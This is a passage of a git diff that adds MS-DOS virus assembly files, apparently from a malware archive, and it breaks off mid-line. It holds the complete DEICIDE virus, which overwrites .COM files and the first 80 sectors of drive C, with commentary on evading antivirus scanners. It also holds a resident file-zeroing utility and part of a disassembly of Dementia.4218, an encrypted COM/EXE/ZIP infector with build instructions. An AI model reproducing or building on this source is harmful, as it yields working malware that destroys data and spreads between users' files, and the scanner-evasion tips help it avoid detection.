after displaying 'File corruption error.' If DEICIDE is trapped on +; a diskette that is write-protected, it will generate noxious 'Abort, +; Retry, Ignore, Fail' messages. +; +; You can work with DEICIDE quite easily by commenting out the destructive +; sequence and reassembling. Then it will merely mess up .COM's in +; your root directory. If you forget that you're using NDOS or 4DOS, DEICIDE +; will promptly foul your command processor and the operating system +; won't load properly when you reboot. In an interesting side note, +; removing the destructive payload of DEICIDE causes SCAN to lose sight of +; DEICIDE. (There's a simple poor man's method to a 'new' strain. Fool +; your friends who think you've written a virus from scratch.) +; The DEBUG script of DEICIDE has the destructive payload "rearranged" and +; is not, strictly speaking, identical to this listing. This has made +; that copy of DEICIDE (referred to in the scriptfile as DEICIDE2) +; functionally similar to the original, but +; still invisible to SCAN v85b and a number of other commercial products. +; The lesson to be learned here is that software developers shouldn't choose +; generic disk overwriting payloads as signatures for their scanners. +; +; I must confess I'm fascinated by the mind that went into creating DEICIDE. +; Even in 1990, the DEICIDE was more of a 'hard disk bomb' than a virus. +; Think a moment. How many files are in your root directory? How long before +; this sucker activated and spoiled your afternoon? Once? Twice? In +; any case, it still is an easily understood piece of code, enjoying its +; own unique charm. Enjoy looking at DEICIDE. Your virus pal, URNST KOUCH. +;*************************************************************************** + +Start_Prog: jmp short Start_Virus + nop + +Message db 0Dh,0Ah,'DEICIDE!' + db 0Dh,0Ah + db 0Dh,0Ah,'Glenn (666) says : BYE BYE HARDDISK!!' + db 0Dh,0Ah + db 0Dh,0Ah,'Next time be carufull with illegal stuff......$' + +Start_Virus: mov ah,19h ; Get actual drive + int 21h + + db 0A2h ; Mov [EA],al + dw offset Infect_Drive + db 0A2h ; A86 assembles this differently + dw offset Actual_Drive ; so put the original code here + + mov ah,47h ; Get actual directory + mov dl,0 + mov si,offset Actual_Dir + int 21h + + mov ah,1Ah ; stash DTA in safe place + mov dx,offset New_DTA + int 21h + +Infect_Next: mov ah,3Bh ; DOS chdir function, go to root dir + mov dx,offset Root_Dir + int 21h + + mov ah,4Eh ; Search first .COM file + mov cx,0 + mov dx,offset Search_Path ; using file mask + int 21h + +Check_Command: mov al,'D' ; Check if 7th char is a 'D' (To prevent + cmp [New_DTA+24h],al ; infecting COMMAND.COM, causing + jnz Check_Infect ; noticeable boot failure) + jmp short Search_Next + nop + +Check_Infect: mov ah,3Dh ; Open found file with write access + mov al,2 + mov dx,offset New_DTA+1Eh + int 21h + mov File_Handle,ax ; Save handle + mov bx,ax + + mov ah,57h ; Get date/time of file + mov al,0 ; why, for Heaven's sake? + int 21h + mov File_Date,dx + mov File_Time,cx + + call Go_Beg_File ; Go to beginning of file + + mov ah,3Fh ; Read first 2 bytes + mov cx,2 + mov dx,offset Read_Buf ; into a comparison buffer + int 21h + + mov al,byte ptr [Read_Buf+1] ; now, take a look at the + cmp al,offset Start_Virus-102h ; buffer and the start of + jnz Infect ; DEICIDE. Is it the + ; jump? If not, infect file + mov ah,3Eh ; Already infected, so close file + int 21h + +Search_Next: mov ah,4Fh ; Search next file function + int 21h + jnc Check_Command ; No error - try this file + + mov al,Infect_Drive ; Skip to next drive, + cmp al,0 + jnz No_A_Drive + inc al +No_A_Drive: inc al + cmp al,3 ; Is the drive C:? + jnz No_Destroy ; + ; if it is and haven't been + ; able to infect + mov al,2 ; Overwrite first 80 sectors, + mov bx,0 ; BUMMER! + mov cx,50h ; BUMMER! + mov dx,0 ; BUMMER! + int 26h ; BUMMER! + + mov ah,9 ; Show silly message + mov dx,offset Message + int 21h + + +Lock_System: jmp short Lock_System ; lock up the system so the poor fool + ; has to start reloading right away +No_Destroy: mov dl,al ; New actual drive + mov ah,0Eh + mov Infect_Drive,dl ; Save drive number. + int 21h + + jmp Infect_Next + +Infect: call Go_Beg_File ;call seek routine + + mov ah,40h ; Write DEICIDE to the file + mov cx,offset End_Virus-100h ;right over the top, starting + mov dx,100h ; at the beginning, thus messing + int 21h ; up everything + + mov ah,57h ; Restore date/time of file + mov al,1 ; why, for God's sake? You + mov cx,File_Time ; think no one will notice + mov dx,File_Date ; file is destroyed? + int 21h + + mov ah,3Eh ; Close file, let's be neat + int 21h + + mov dl,byte ptr [Actual_Drive] ; Back to original drive + mov ah,0Eh + int 21h + + mov ah,3Bh ; And original dir + mov dx,offset Actual_Dir + int 21h + + mov ah,9 ; Show 'File corruption error.' + mov dx,offset Quit_Message ; when destroyed, infected + int 21h ; program misfires and DEICIDE + ; executes so user may be placated + int 20h ; Exit back to DOS + +Go_Beg_File: mov ah,42h ; Procedure: seek to start of file + mov al,0 + mov cx,0 + mov dx,0 + int 21h + ret + + +File_Date dw (?) +File_Time dw (?) + +File_Handle dw (?) + +Infect_Drive db (?) + +Root_Dir db '\',0 + +Search_Path db '*.COM',0 + +Read_Buf db 2 dup (?) + +Actual_Drive db (?) + + +Quit_Message db 'File corruption error.',0Dh,0Ah,'$' + +New_DTA db 2Bh dup (?) + +Actual_Dir db 40h dup (?) + + db 'This experimental virus was written by Glenn Benton to ' + db 'see if I can make a virus while learning machinecode for ' + db '2,5 months. (C) 10-23-1990 by Glenn. I keep on going ' + db 'making virusses.' + +End_Virus: + diff --git a/MSDOS/Virus.MSDOS.Unknown.delz.asm b/MSDOS/Virus.MSDOS.Unknown.delz.asm new file mode 100644 index 00000000..ec4ef9dd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.delz.asm @@ -0,0 +1,327 @@ +INTERRUPTS SEGMENT AT 0H + ORG 9H*4 ;holds the address of its service routine +KEYBOARD_INT LABEL DWORD + ORG 21H*4 ;This is to use INT 21H +INT_21H LABEL DWORD ;which is the DOS function call interrupt +INTERRUPTS ENDS + +ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer + + ORG 1AH + HEAD DW ? ;Unread chars go from Head to Tail + TAIL DW ? + BUFFER DW 16 DUP (?) ;The buffer itself + BUFFER_END LABEL WORD + +ROM_BIOS_DATA ENDS + +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG + ORG 100H ;ORG = 100H to make this into a + ;".com" file +FIRST: JMP LOAD_INT_21H + + COPY_RIGHT DB '(C)1985 S Holzner' + BYPASS_FLAG DB 0 ;Bypass our checking for #? 1=Yes + ZERO_FLAG DB 0 ;Was there a zero in filename? 1=Yes + CR_FLAG DB 0 + DTA DD ? ;The old disk transfer area address + OLD_INT_21H DD ? ;Address INT 21H uses normally + OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt + COUNT DW ? + FCB_OFFSET DW ? ;Offset of given filename to be deleted + FCB_SEG DW 0 ;Segment address of the same. + COMMAND_INDEX DW 0 + DEL_Z DB 'DEL/Z',0 + CRLF DB 13,10,'$' ;Carriage return, linefeed for messages + MSG DB ' ZEROED AND DELETED.',13,10,'$' ;The message + ERR DB 'Error deleting $' ;Error message + +DELZ PROC FAR ;The function call interrupt will now come here. + + PUSHF ;Save flags first (will get changed by CMPs) + CMP AH,13H ;Are we deleting? + JNE JUMP ;No, jump to function call Int and do not return + CMP ZERO_FLAG,1 ;Are we supposed to zero? + JNE JUMP ;If not, don't + TEST BYPASS_FLAG,1 ;We are deleting. Is bypass on? + JZ DEL_CHECK ;No, check if we should delete file. +JUMP: POPF ;Restore flags + JMP OLD_INT_21H ;Jump to function call Int. (CALL won't work). +DEL_CHECK: ;DS:DX are pointing to filename to be deleted (from delete call) + PUSH BX ;Save all used registers to be polite + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH AX ;Save AX last since will pop first and return status in it + + MOV FCB_OFFSET,DX ;Save address of the file-to-be-deleted's FCB + MOV FCB_SEG,DS ;Ditto for the segment address + + MOV AH,2FH ;Now get Disk Transfer Area (DTA) address + INT 21H ;This will work since AH is not equal to 13H + + MOV DTA,BX ;Store DTA address Low part + MOV DTA[2],ES ;Ditto High part + PUSH DS ;Save file-to-be-deleted's FCB's Segment address + MOV AH,1AH ;Put the new DTA in our Program Segment Prefix, + MOV DX,80H ; CS:0080H (CS came from INT 21H vector we set) + PUSH CS ;Now move DS into CS to set DTA + POP DS + INT 21H ;Set Disk Transfer Area (DTA) + POP DS ;Restore Segment address of given file's FCB + + MOV DX,FCB_OFFSET ;Restore the given file's FCB's address low part + MOV AH,11H ;Ask for DOS service 11H, which asks for the + INT 21H ; first match to the given file's FCB + + TEST AL,1 ;Was a match found? + JZ TOP ;Yes, start checking if we should delete. + POP AX ;No, return status 0FF (not found) in AL + MOV AL,0FFH + JMP NONE_FOUND ;Over and out. +TOP: + MOV SI,81H ;the matching file's FCB is in DTA from search + MOV DI,0C0H ;We will move the name to print and scan for # + MOV CX,0BH ;11 characters per file + PUSH DS ;Get ready for string move, set up DS and ES + PUSH CS ;Set them both to CS (use program segment + POP DS ; prefix area) + MOV DX,80H ;Point to match to open file + MOV AH,0FH ;Select the correct DOS call + INT 21H + CMP AL,0 ;If error opening file, exit + JNE ERROR + MOV BX,80H ;Set record size to 512 + MOV WORD PTR [BX+14],512 + MOV AX,[BX+16] ;Find the file's size in sectors + XOR DX,DX + TEST AX,511 ;Do we have to add an add'l sector? + JZ SHIF ;No, do the shift + INC DX ;Yes, add 1 +SHIF: MOV CL,9 ;Divide by 512 + SHR AX,CL + MOV COUNT,AX ;Store in Count + ADD COUNT,DX ;And add possible add'l sector + MOV AX,[BX+18] ;Now for the high part of size + MOV CL,7 ;Mult by 65536 div by 512 + SHL AX,CL + ADD COUNT,AX ;And add to what we already have + MOV DX,80H ;Now prepare for sequential write + MOV CX,COUNT ;Do COUNT sectors + MOV AH,15H +FILL: INT 21H ;Fill with copies of this prog. + CMP AL,0 ;Error writing? + JNE ERROR ;Yes, jump to ERROR + LOOP FILL ;No, go back for next one + MOV AH,10H ;Close the file now. + INT 21H + CMP AL,0 ;Error closing? + JNE ERROR ;Yep, go to ERROR + MOV AH,13H ;No, delete the file at last (Whew) + MOV BYPASS_FLAG,1 ;Don't intercept this call + INT 21H + MOV BYPASS_FLAG,0 + CMP AL,0 ;Everything OK? + JNE ERROR ;No, go to ERROR + CALL PRINT_NAME ;Yes, print the name + LEA DX,MSG ;And the zeroed message + MOV AH,9 + INT 21H + JMP SAVE +ERROR: MOV AH,10H ;First make sure file is closed + INT 21H + LEA DX,ERR ;Then print error message and go on + MOV AH,9 ; to next file + INT 21H + CALL PRINT_NAME +SAVE: POP DS ;Get segment of original given file's FCB + MOV DX,FCB_OFFSET ;Search for next match -- point to original FCB + MOV AH,12H ;Search for next match + INT 21H + TEST AL,1 ;Was a match found? + JNZ OUT + JMP TOP + +OUT: POP AX ;At least one file deleted, set AL acordingly, + MOV AL,0 ; which means set it to 0 +NONE_FOUND: + PUSH DS ;Now we have to reset the Disk Transfer Area + PUSH AX ;Save AX since it contains success status + MOV AH,1AH ;Function call 1AH will do want we want + MOV DX,DTA[2] ;Get original DTA's segment into DS + MOV DS,DX + MOV DX,DTA ;Now get offset inside that segment of same + INT 21H ;And reset DTA + POP AX ;Restore AX with status + POP DS ;And DS with original DS + + POP DI ;And restore the other registers + POP SI + POP DX + POP CX + POP BX + POPF ;We musn't forget our original PUSHF + IRET ;An interrupt deserves an IRET + +DELZ ENDP ;And that's it + +PRINT_NAME PROC NEAR ;This small subroutine just prints + MOV BX,80H+1 ; file's name from the FCB + MOV AH,2 ;Use DOS service 2 + MOV CX,11 ;Print all 11 letters +PRINT: MOV DL,[BX] ;Printing loop + INT 21H + INC BX ;Get next letter + LOOP PRINT + RET ;And return +PRINT_NAME ENDP + +READ_KEY PROC NEAR ;The keyboard interrupt will now come here. + ASSUME CS:CODE_SEG + PUSH AX ;Save the used registers for good form + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH DS + PUSHF ;First, call old keyboard interrupt + CALL OLD_KEYBOARD_INT + + ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in + MOV BX,ROM_BIOS_DATA + MOV DS,BX + MOV BX,TAIL ;Point to current tail + CMP BX,HEAD ;If at head, kbd int has deleted char + JNE CR ;So leave + JMP NOCR +CR: SUB BX,2 ;Point to just read in character + CMP BX,OFFSET BUFFER ;Did we undershoot buffer? + JAE NO_WRAP ;Nope + MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top + SUB BX,2 +NO_WRAP:MOV DX,[BX] ;Char in DX now + + CMP DL,'Z' ;Make sure we are in upper case + JBE CHAROK + SUB DL,'a'-'A' ;Make REALLY sure. +CHAROK: PUSH CS + POP DS ;Point to Code Seg with DS + ASSUME DS:CODE_SEG + CMP CR_FLAG,1 ;CR_Flag resets Zero_Flag + JNE CHECK + MOV CR_FLAG,0 ;Reset CR_Flag + MOV ZERO_FLAG,0 ;And Zero_Flag + MOV COMMAND_INDEX,0 ;As well as Command_Index +CHECK: LEA SI,DEL_Z ;Check the typed character + ADD SI,COMMAND_INDEX ;Find place in test string + CMP DL,[SI] ;Match? + JNE NOSET ;If not, forget it + INC COMMAND_INDEX ;Match! Move to next char next time + + CMP DL,'/' ;For DOS 3+, delete the /Z from buffer + JNE NOTSLSH + ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in + MOV CX,ROM_BIOS_DATA + MOV DS,CX + MOV TAIL,BX ;Erase character from buffer + MOV AH,10 ;Get ready to print the character + MOV CX,1 + MOV AL,DL + XOR BX,BX ;Display page 0 + INT 10H ;Print the '/' + MOV AH,3 ;Now prepare to move cursor over 1 + INT 10H ;Get present position + ADD DX,1 ;Add 1 + MOV AH,2 ;And reset cursor + INT 10H + +NOTSLSH:CMP DL,'Z' ;For DOS 3+, delete the /Z from buffer + JNE NOTZ + ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in + MOV CX,ROM_BIOS_DATA + MOV DS,CX + MOV TAIL,BX ;Erase character from the buffer + MOV AH,10 ;Prepare to type the 'Z' + MOV CX,1 + MOV AL,DL + XOR BX,BX + INT 10H + MOV AH,3 ;And now adjust the cursor + INT 10H ;Moving it to the left 1 space + ADD DX,1 + MOV AH,2 + INT 10H + +NOTZ: ASSUME DS:CODE_SEG + PUSH CS + POP DS + + CMP BYTE PTR [SI+1],0 + JNE NOSET + MOV ZERO_FLAG,1 + MOV COMMAND_INDEX,0 +NOSET: MOV CR_FLAG,0 + CMP DX,1C0DH + JNE NOCR + MOV CR_FLAG,1 +NOCR: POP DS + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + IRET +READ_KEY ENDP + +LOAD_INT_21H PROC NEAR ;This subroutine installs DELZ + + ASSUME DS:INTERRUPTS ;Now set DS to point to INTERRUPTS seg. + MOV AX,INTERRUPTS + MOV DS,AX + + MOV AX,KEYBOARD_INT ;Get the old interrupt service routine + MOV OLD_KEYBOARD_INT,AX ;address and put it into our location + MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it. + MOV OLD_KEYBOARD_INT[2],AX + + MOV KEYBOARD_INT,OFFSET READ_KEY + MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt + + MOV AX,INT_21H ;Get the original function call INT's + MOV OLD_INT_21H,AX ;address and put it into our location + MOV AX,INT_21H[2] ;OLD_INT_21H so we can still jump there + MOV OLD_INT_21H[2],AX + + MOV INT_21H[2],CS ;Install our delete filter's address + MOV INT_21H,OFFSET DELZ ; as new function call INT + + PUSH CS ;Now point to CS in preparation for + POP DS ; terminate and stay resident call + + MOV DX,OFFSET LOAD_INT_21H ;Set up everything but LOAD_INT_21H to + INT 27H ;stay and attach itself to DOS + +LOAD_INT_21H ENDP ;End of loading subroutine + + CODE_SEG ENDS ;End of Code Segment + + END FIRST ;END "FIRST" so 8088 will go to FIRST first. + + + + + + + + + + + + + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.dementia.asm b/MSDOS/Virus.MSDOS.Unknown.dementia.asm new file mode 100644 index 00000000..b72fd6c2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dementia.asm @@ -0,0 +1,1937 @@ +comment * + Dementia.4218 + Disassembly by + Darkman/29A + + Dementia.4218 is a 4218 bytes parasitic resident COM/EXE/ZIP virus. Infects + files at close file, open file and load and/or execute program by appending + the virus to the infected COM/EXE file and storing in the infected ZIP file. + Dementia.4218 has an error handler, 16-bit exclusive OR (XOR) encryption in + file and is using archive infection technique. + + To compile Dementia.4218 with Turbo Assembler v 4.0 type: + TASM /M DEMENTI_.ASM + TLINK /x DEMENTI_.OBJ + EXE2BIN DEMENTI_.EXE DEMENTI_.COM +* + +.model tiny +.code + +code_begin: + call delta_offset +delta_offset: + pop si ; Load SI from stack + add si,(crypt_begin-delta_offset-02h) + mov di,si ; DI = offset of code_end - 02h + + std ; Set direction flag + mov cx,(crypt_begin-crypt_end-02h)/02h +decrypt_key equ word ptr $+01h ; Decryption key + mov dx,00h ; DX = decryption key + + push cs cs ; Save segments at stack + pop ds es ; Load segments from stack (CS) +decrypt_loop: + lodsw ; AX = word of encrypted code + xor ax,dx ; Decrypt two bytes + stosw ; Store two plain bytes + + jmp crypt_end + + nop +crypt_end: + loop decrypt_loop + + cld ; Clear direction flag + push cs ; Save CS at stack + sub si,(crypt_end-code_begin) + nop + mov cl,04h ; Divide by paragraphs + shr si,cl ; SI = offset of crypt_end in para... + mov ax,cs ; AX = code segment + add ax,si ; Add code segment to delta offset... + push ax ; Save AX at stack + + lea ax,virus_begin ; AX = offset of virus_begin + push ax ; Save AX at stack + + retf ; Return far! +virus_begin: + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + pop ax ; Load AX from stack (CS) + mov [code_seg_],ax ; Store code segment + + mov bx,1492h ; Dementia.4218 function + call close_file + cmp bx,1776h ; Already resident? + je virus_exit ; Equal? Jump to virus_exit + + call install +virus_exit: + mov ah,[com_or_exe] ; AH = COM or EXE executable? + cmp ah,00h ; COM executable? + nop + je vir_com_exit ; Equal? Jump to vir_com_exit + + mov ax,[code_seg_] ; AX = code segment + mov bx,[initial_cs] ; AX = initial CS relative to star... + sub ax,bx ; Subtract initial CS relative to ... + mov dx,ax ; DX = segment of PSP for current ... + + mov bx,[code_seg] ; BX = original code segment + add ax,bx ; Add original code segment to seg... + mov [code_seg],ax ; Store original code segment + + xchg ax,dx ; AX = segment of current PSP proc... + + cli ; Clear interrupt-enable flag + mov bx,[stack_seg] ; BX = original stack segment + add ax,bx ; Add original stack segment to se... + mov ss,ax ; SS = original stack segment + + mov ax,[stack_ptr] ; AX = original stack pointer + mov sp,ax ; SP = " " " + sti ; Set interrupt-enable flag + + mov ah,62h ; Get current PSP address + int 21h + mov ds,bx ; DS = segment of PSP for current ... + mov es,bx ; ES = segment of PSP for current ... + + xor ax,ax ; Zero AX + xor bx,bx ; Zero BX + xor cx,cx ; Zero CX + xor dx,dx ; Zero DX + xor si,si ; Zero SI + xor di,di ; Zero DI + + jmp dword ptr cs:[instruct_ptr] +vir_com_exit: + mov di,100h ; DI = offset of beginning of code + lea si,origin_code ; SI = offset of origin_code + nop + movsw ; Move the original code to beginning + movsb ; " " " " " " + + push es ; Save ES at stack + + mov ax,100h ; AX = offset of beginning of code + push ax ; Save AX at stack + + xor ax,ax ; Zero AX + xor bx,bx ; Zero BX + xor cx,cx ; Zero CX + xor dx,dx ; Zero DX + xor si,si ; Zero SI + xor di,di ; Zero DI + + push es ; Save ES at stack + pop ds ; Load DS from stack (ES) + + retf ; Return far! + +upcase_char proc near ; Upcase character + cmp al,'a' ; Lowcase character? + jl dont_upcase ; Less? Jump to dont_upcase + cmp al,'z' ; Lowcase character? + jg dont_upcase ; Greater? Jump to dont_upcase + + sub al,20h ; Upcase character +dont_upcase: + ret ; Return! + endp + +int21_virus proc near ; Interrupt 21h of Dementia.4218 + pushf ; Save flags at stack + cld ; Clear direction flag + + cmp ah,3eh ; Close file? + jne tst_open_fil ; Not equal? Jump to tst_open_fil + + cmp bx,1492h ; Dementia.4218 function? + jne tst_open_fil ; Not equal? Jump to tst_open_fil + + mov bx,1776h ; Already resident + + popf ; Load flags from stack + + iret ; Interrupt return! +tst_open_fil: + cmp ah,3dh ; Open file + jne tst_load_and ; Not equal? Jump to tst_load_and + + cmp al,0ffh ; Dementia.4218 function + je dementia_fun ; Equal? Jump to dementia_fun + + push ax si ; Save registers at stack + mov si,dx ; SI = offset of filename +find_dot: + lodsb ; AL = byte of filename + cmp al,00h ; End of filename? + je open_fi_exit ; Equal? Jump to open_fi_exit + + cmp al,'.' ; Found the dot in the filename + jne find_dot ; Not equal? Jump to find_dot + + lodsb ; AL = byte of extension + call upcase_char + cmp al,'C' ; COM executable? + jne tst_exe_exec ; Not equal? Jump to tst_exe_exec + + lodsb ; AL = byte of extension + call upcase_char + cmp al,'O' ; COM executable? + jne open_fi_exit ; Not equal? Jump to open_fi_exit + + lodsb ; AL = byte of extension + call upcase_char + cmp al,'M' ; COM executable? + jne open_fi_exit ; Not equal? Jump to open_fi_exit + + call inf_com_exe + + jmp open_fi_exit + + nop +tst_exe_exec: + cmp al,'E' ; EXE executable? + jne tst_zip_arch ; Not equal? Jump to tst_zip_arch + + lodsb ; AL = byte of extension + call upcase_char + cmp al,'X' ; EXE executable? + jne open_fi_exit ; Not equal? Jump to open_fi_exit + + lodsb ; AL = byte of extension + call upcase_char + cmp al,'E' ; EXE executable? + jne open_fi_exit ; Not equal? Jump to open_fi_exit + + call inf_com_exe + + jmp open_fi_exit + + nop +tst_zip_arch: + cmp al,'Z' ; ZIP archive? + jne open_fi_exit ; Not equal? Jump to open_fi_exit + + lodsb ; AL = byte of extension + call upcase_char + cmp al,'I' ; ZIP archive? + jne open_fi_exit ; Not equal? Jump to open_fi_exit + + lodsb ; AL = byte of extension + call upcase_char + cmp al,'P' ; ZIP archive? + jne open_fi_exit ; Not equal? Jump to open_fi_exit + + call infect_zip + + jmp open_fi_exit + + nop +open_fi_exit: + pop si ax ; Load registers from stack + + jmp tst_load_and + + nop +dementia_fun: + mov al,02h ; Dementia.4218 function +tst_load_and: + cmp ah,4bh ; Load and/or execute program? + jne int21_exit ; Not equal? Jump to int21_exit + + call inf_com_exe +int21_exit: + popf ; Load flags from stack + + jmp cs:[int21_addr] + endp + +install proc near ; Allocate memory, move virus to t... + push es ; Save ES at stack + + mov ah,52h ; Get list of lists + int 21h + + mov ax,es:[bx-02h] ; AX = segment of first memory con... +next_mcb: + mov ds,ax ; DS = segment of current memory c... + + mov al,ds:[00h] ; AL = block type + cmp al,'Z' ; Last block in chain? + je allocate_mem ; Equal? Jump to allocate_mem + + mov ax,ds ; AX = segment of current memory c... + mov bx,ds:[03h] ; BX = size of memory block in par... + add ax,bx ; Add size of memory block in para... + inc ax ; AX = segment of next memory cont... + + jmp next_mcb +allocate_mem: + mov bx,ds:[03h] ; BX = size of memory block in par... + sub bx,(code_end-code_begin+0fh)/10h*02h + mov ds:[03h],bx ; Store new size of memory control... + + mov ax,ds ; AX = segment of last memory cont... + add ax,bx ; Add new size of memory block in ... + inc ax ; AX = segment of virus + mov es,ax ; ES = " " " + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + xor si,si ; Zero SI + xor di,di ; Zero DI + mov cx,(code_end-code_begin) + rep movsb ; Move virus to top of memory + + push es ; Save ES at stack + + lea ax,install_ ; AX = offset of install_ + push ax ; Save AX at stack + + retf ; Return far! +install_: + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + mov ax,3521h ; Get interrupt vector 21h + int 21h + mov word ptr [int21_addr+02h],es + mov word ptr [int21_addr],bx + + lea dx,int21_virus ; DX = offset of int21_virus + mov ax,2521h ; Set interrupt vector 21h + int 21h + + pop es ; Load ES from stack + + ret ; Return! + endp + +inf_com_exe proc near ; Infect COM/EXE file + push bp ; Save BP at stack + mov bp,sp ; BP = stack pointer + sub sp,06h ; Correct stack pointer + + push ax bx cx dx si di ds es + + call int24_store + + call open_file + jc com_exe_exit ; Error? Jump to com_exe_exit + + call load_info + and cx,0000000000011111b + cmp cx,0000000000000001b + je call_close ; Already infected? Jump to call_c... + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h + mov ds,ax ; DS = segment of data buffer + + mov cx,20h ; Read thirty-two bytes + call read_file + + mov ax,ds:[00h] ; AX = EXE signature + cmp ax,'MZ' ; Found EXE signature? + je call_infect ; Equal? Jump to call_infect + cmp ax,'ZM' ; Found EXE signature? + je call_infect ; Equal? Jump to call_infect + + call infect_com + + jmp call_mark + + nop +call_infect: + call infect_exe +call_mark: + call infect_mark +call_close: + call close_file +com_exe_exit: + call int24_load + + pop es ds di si dx cx bx ax + + mov sp,bp ; SP = stack pointer + + pop bp ; Load BP from stack + + ret ; Return! + endp + +infect_zip proc near ; Infect ZIP archive + push bp ; Save BP at stack + mov bp,sp ; BP = stack pointer + sub sp,28h ; Correct stack pointer + + push ax bx cx dx si di ds es + + xor ax,ax ; Didn't found file + mov [bp-0eh],ax ; Store didn't found CALLFAST.COM + mov [bp-10h],ax ; " " " REQUEST.IVA + mov [bp-12h],ax ; " " " RECEIPT.IVA + + call int24_store + + push dx ds ; Save registers at stack + lea dx,temp_file ; DX = offset of temp_file + nop + call create_file + mov [bp-0ah],ax ; Store file handle of !#TEMP#! + pop ds dx ; Load registers from stack + + call open_file + jnc load_info_ ; No error? Jump to load_info_ + + jmp inf_zip_exit +load_info_: + mov [bp-08h],ax ; Store file handle of ZIP file + + call load_info + + mov ax,cs ; AX = code segment + add ax,(code_end-code_begin+0fh)/10h + mov ds,ax ; DS = segment of data buffer +next_lfh_sig: + mov cx,04h ; Read four bytes + call read_file + + mov ax,ds:[00h] ; AX = low-order word of file head... + cmp ax,'KP' ; Found low-order word of file ha...? + je test_dir_sig ; Equal? Jump to test_dir_sig + + jmp call_mark_ +test_dir_sig: + mov ax,ds:[02h] ; AX = high-order word of file hea... + cmp ax,201h ; Found high-order word of central... + jne read_lfh ; Not equal? Jump to read_lfh + + jmp zero_cdh_num +read_lfh: + mov cx,1ah ; Read twenty-six bytes + call read_file + + mov cx,ds:[16h] ; CX = filename length + mov dx,20h ; DI = offset of filename + call read_file_ + + push cs ; Save CS at stack + pop es ; Load ES from stack (CS) + + lea di,request_iva ; DI = offset of request_iva + nop + mov si,20h ; SI = offset of filename +request_loop: + lodsb ; AL = byte of filename + mov ah,es:[di] ; AH = byte of request_iva + + inc di ; Increase index register + + cmp ah,00h ; End of filename? + je found_reques ; Equal? Jump to found_reques + + cmp ah,al ; Byte of filename equal to byte o... + jne find_callfas ; Not equal? Jump to find_callfas + + jmp request_loop +found_reques: + mov ax,01h ; Found REQUEST.IVA + mov [bp-10h],ax ; Store found REQUEST.IVA + + xor cx,cx ; Zero CX + xor dx,dx ; Zero DX + call set_pos_cfp + mov [bp-24h],ax ; AX = low-order word of extra field + mov [bp-22h],dx ; DX = high-order word of extra field +find_callfas: + lea di,callfast_com ; DI = offset of callfast_com + nop + mov si,20h ; SI = offset of filename +callfas_loop: + lodsb ; AL = byte of filename + mov ah,es:[di] ; AH = byte of callfast_com + + inc di ; Increase index register + + cmp ah,00h ; End of filename? + je found_callfa ; Equal? Jump to found_callfa + + cmp ah,al ; Byte of filename equal to byte o... + jne find_receipt ; Not equal? Jump to find_receipt + + jmp callfas_loop +found_callfa: + mov ax,01h ; Found CALLFAST.COM + mov [bp-0eh],ax ; Store found CALLFAST.COM +find_receipt: + lea di,receipt_iva ; DI = offset of receipt_iva + nop + mov si,20h ; SI = offset of filename +receipt_loop: + lodsb ; AL = byte of filename + mov ah,es:[di] ; AH = byte of receipt_iva + + inc di ; Increase index register + + cmp ah,00h ; End of filename? + je found_receip ; Equal? Jump to found_receip + + cmp ah,al ; Byte of filename equal to byte o... + jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr + + jmp receipt_loop +found_receip: + mov ax,01h ; Found RECEIPT.IVA + mov [bp-12h],ax ; Store found RECEIPT.IVA +calc_lfh_ptr: + mov dx,ds:[0eh] ; DX = low-order word of compresse... + mov cx,ds:[10h] ; CX = high-order word of compress... + mov ax,ds:[18h] ; AX = extra field length + add dx,ax ; Add extra field length to compre... + adc cx,00h ; Convert to 32-bit + + call set_pos_cfp + + jmp next_lfh_sig +zero_cdh_num: + xor ax,ax ; No central directory file header... + mov [bp-0ch],ax ; Store no central directory file ... +copy_cds: + mov ax,[bp-0ch] ; AX = number of central directory... + inc ax ; Increase number of central direc... + mov [bp-0ch],ax ; Store number of central director... + + mov bx,[bp-08h] ; BX = file handle of ZIP file + mov cx,2ah ; Read forty-two bytes + call read_file + + mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! + call write_file_ + + mov cx,ds:[18h] ; CX = filename length + mov bx,ds:[1ah] ; BX = extra field length + add cx,bx ; Add extra field length to filena... + mov bx,ds:[1ch] ; BX = file comment length + add cx,bx ; CX = number of bytes to read + + mov bx,[bp-08h] ; BX = file handle of ZIP file + call read_file_ + + mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! + call write_file_ + + mov cx,04h ; Read four bytes + mov bx,[bp-08h] ; BX = file handle of ZIP file + call read_file_ + + mov ax,ds:[00h] ; AX = low-order word of end of ce... + cmp ax,'KP' ; Found low-order word of end of ...? + je test_eoc_sig ; Equal? Jump to test_eoc_sig + + jmp call_mark_ +test_eoc_sig: + mov ax,ds:[02h] ; AX = high-order word of end of c... + cmp ax,605h ; Found high-order word of end of ... + je copy_eocds ; Equal? Jump to read_oecds + + jmp copy_cds +copy_eocds: + mov bx,[bp-08h] ; BX = file handle of ZIP file + mov cx,12h ; Read eightteen bytes + call read_file + + mov ax,ds:[0ch] ; AX = low-order word of offset of... + mov [bp-18h],ax ; Store low-order word of offset o... + mov ax,ds:[0eh] ; AX = high-order word of offset o... + mov [bp-16h],ax ; Store high-order word of offset ... + + mov bx,[bp-0ah] ; BX = file handle of !#TEMP#! + call write_file_ + + mov cx,ds:[10h] ; CX = zipfile comment length + mov bx,[bp-08h] ; BX = file handle of ZIP file + call read_file_ + + mov 